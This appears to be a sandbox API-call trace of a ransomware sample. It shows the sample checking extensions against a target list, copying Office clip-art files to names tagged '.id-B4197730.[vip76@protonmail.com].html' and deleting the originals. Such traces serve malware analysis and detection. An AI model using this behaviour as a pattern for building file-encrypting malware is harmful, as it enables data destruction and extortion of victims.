	[0187.805] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.805] lstrlenW (lpString=".zip") returned 4
	[0187.806] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.806] lstrlenW (lpString=".rar") returned 4
	[0187.806] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.806] lstrlenW (lpString=".bz2") returned 4
	[0187.806] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.806] lstrlenW (lpString=".7z") returned 3
	[0187.806] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.806] lstrlenW (lpString=".dbf") returned 4
	[0187.806] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.806] lstrlenW (lpString=".1cd") returned 4
	[0187.806] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.806] lstrlenW (lpString=".jpg") returned 4
	[0187.806] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.806] lstrlenW (lpString=".doc") returned 4
	[0187.806] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.806] lstrlenW (lpString=".docx") returned 5
	[0187.806] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0187.806] lstrlenW (lpString=".pdf") returned 4
	[0187.806] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.806] lstrlenW (lpString=".xls") returned 4
	[0187.806] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.806] lstrlenW (lpString=".xlsx") returned 5
	[0187.806] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0187.807] lstrlenW (lpString=".ppt") returned 4
	[0187.807] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.807] lstrlenW (lpString=".zip") returned 4
	[0187.807] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.807] lstrlenW (lpString=".rar") returned 4
	[0187.807] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.807] lstrlenW (lpString=".bz2") returned 4
	[0187.807] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.807] lstrlenW (lpString=".7z") returned 3
	[0187.807] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.807] lstrlenW (lpString=".dbf") returned 4
	[0187.807] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.807] lstrlenW (lpString=".1cd") returned 4
	[0187.807] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0187.807] lstrlenW (lpString=".jpg") returned 4
	[0187.807] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.807] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.807] lstrlenW (lpString="J0099199.GIF") returned 12
	[0187.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.809] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=33975) returned 1
	[0187.809] CloseHandle (hObject=0x514) returned 1
	[0187.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220
	[0187.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.809] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.809] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.810] GetLastError () returned 0x0
	[0187.810] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x84b7, lpOverlapped=0x0) returned 1
	[0187.813] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x84c0, lpOverlapped=0x0) returned 1
	[0187.815] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.815] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.815] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.815] CloseHandle (hObject=0x5c4) returned 1
	[0187.815] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.815] SetEndOfFile (hFile=0x514) returned 1
	[0187.818] CloseHandle (hObject=0x514) returned 1
	[0187.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1
	[0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.820] lstrlenW (lpString=".doc") returned 4
	[0187.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.822] lstrlenW (lpString=".docx") returned 5
	[0187.822] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0187.822] lstrlenW (lpString=".pdf") returned 4
	[0187.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.822] lstrlenW (lpString=".xls") returned 4
	[0187.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.822] lstrlenW (lpString=".xlsx") returned 5
	[0187.822] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0187.822] lstrlenW (lpString=".ppt") returned 4
	[0187.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.822] lstrlenW (lpString=".zip") returned 4
	[0187.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.822] lstrlenW (lpString=".rar") returned 4
	[0187.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.822] lstrlenW (lpString=".bz2") returned 4
	[0187.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.822] lstrlenW (lpString=".7z") returned 3
	[0187.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.822] lstrlenW (lpString=".dbf") returned 4
	[0187.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.823] lstrlenW (lpString=".1cd") returned 4
	[0187.823] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.823] lstrlenW (lpString=".jpg") returned 4
	[0187.823] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.823] lstrlenW (lpString=".doc") returned 4
	[0187.823] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.823] lstrlenW (lpString=".docx") returned 5
	[0187.823] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1
	[0187.823] lstrlenW (lpString=".pdf") returned 4
	[0187.823] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString=".xls") returned 4
	[0187.823] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString=".xlsx") returned 5
	[0187.823] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1
	[0187.823] lstrlenW (lpString=".ppt") returned 4
	[0187.823] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.823] lstrlenW (lpString=".zip") returned 4
	[0187.823] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString=".rar") returned 4
	[0187.823] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.823] lstrlenW (lpString=".bz2") returned 4
	[0187.823] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.823] lstrlenW (lpString=".7z") returned 3
	[0187.824] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.824] lstrlenW (lpString=".dbf") returned 4
	[0187.824] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.824] lstrlenW (lpString=".1cd") returned 4
	[0187.824] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68
	[0187.824] lstrlenW (lpString=".jpg") returned 4
	[0187.824] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.824] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.824] lstrlenW (lpString="J0099200.GIF") returned 12
	[0187.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.825] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=16543) returned 1
	[0187.825] CloseHandle (hObject=0x514) returned 1
	[0187.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220
	[0187.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0187.826] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.826] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.826] GetLastError () returned 0x0
	[0187.826] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x409f, lpOverlapped=0x0) returned 1
	[0187.829] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x40a0, lpOverlapped=0x0) returned 1
	[0187.834] ReadFile (in: hFile=0x514, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.834] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.835] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.835] CloseHandle (hObject=0x5c4) returned 1
	[0187.835] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.835] SetEndOfFile (hFile=0x514) returned 1
	[0187.839] CloseHandle (hObject=0x514) returned 1
	[0187.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1
	[0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.971] lstrlenW (lpString=".doc") returned 4
	[0187.971] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.971] lstrlenW (lpString=".docx") returned 5
	[0187.971] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0187.971] lstrlenW (lpString=".pdf") returned 4
	[0187.971] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.971] lstrlenW (lpString=".xls") returned 4
	[0187.971] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.971] lstrlenW (lpString=".xlsx") returned 5
	[0187.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0187.971] lstrlenW (lpString=".ppt") returned 4
	[0187.971] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.971] lstrlenW (lpString=".zip") returned 4
	[0187.972] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.972] lstrlenW (lpString=".rar") returned 4
	[0187.972] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.972] lstrlenW (lpString=".bz2") returned 4
	[0187.972] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.972] lstrlenW (lpString=".7z") returned 3
	[0187.972] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.972] lstrlenW (lpString=".dbf") returned 4
	[0187.972] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.972] lstrlenW (lpString=".1cd") returned 4
	[0187.972] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.972] lstrlenW (lpString=".jpg") returned 4
	[0187.972] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.972] lstrlenW (lpString=".doc") returned 4
	[0187.972] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.972] lstrlenW (lpString=".docx") returned 5
	[0187.972] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1
	[0187.972] lstrlenW (lpString=".pdf") returned 4
	[0187.972] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.972] lstrlenW (lpString=".xls") returned 4
	[0187.972] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.972] lstrlenW (lpString=".xlsx") returned 5
	[0187.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1
	[0187.973] lstrlenW (lpString=".ppt") returned 4
	[0187.973] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.973] lstrlenW (lpString=".zip") returned 4
	[0187.973] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.973] lstrlenW (lpString=".rar") returned 4
	[0187.973] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.973] lstrlenW (lpString=".bz2") returned 4
	[0187.973] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.973] lstrlenW (lpString=".7z") returned 3
	[0187.973] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.973] lstrlenW (lpString=".dbf") returned 4
	[0187.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.973] lstrlenW (lpString=".1cd") returned 4
	[0187.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68
	[0187.973] lstrlenW (lpString=".jpg") returned 4
	[0187.973] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.973] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0187.973] lstrlenW (lpString="J0101856.BMP") returned 12
	[0187.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0188.184] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=78840) returned 1
	[0188.184] CloseHandle (hObject=0x554) returned 1
	[0188.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220
	[0188.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.624] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.624] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0188.624] GetLastError () returned 0x0
	[0188.624] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x133f8, lpOverlapped=0x0) returned 1
	[0188.629] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x13400, lpOverlapped=0x0) returned 1
	[0188.631] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.631] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.631] SetEndOfFile (hFile=0x5ec) returned 1
	[0188.632] CloseHandle (hObject=0x5ec) returned 1
	[0188.632] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.632] SetEndOfFile (hFile=0x5e8) returned 1
	[0188.635] CloseHandle (hObject=0x5e8) returned 1
	[0188.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1
	[0188.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.637] lstrlenW (lpString=".doc") returned 4
	[0188.637] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".docx") returned 5
	[0188.637] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0188.637] lstrlenW (lpString=".pdf") returned 4
	[0188.637] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".xls") returned 4
	[0188.637] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".xlsx") returned 5
	[0188.637] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0188.637] lstrlenW (lpString=".ppt") returned 4
	[0188.637] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
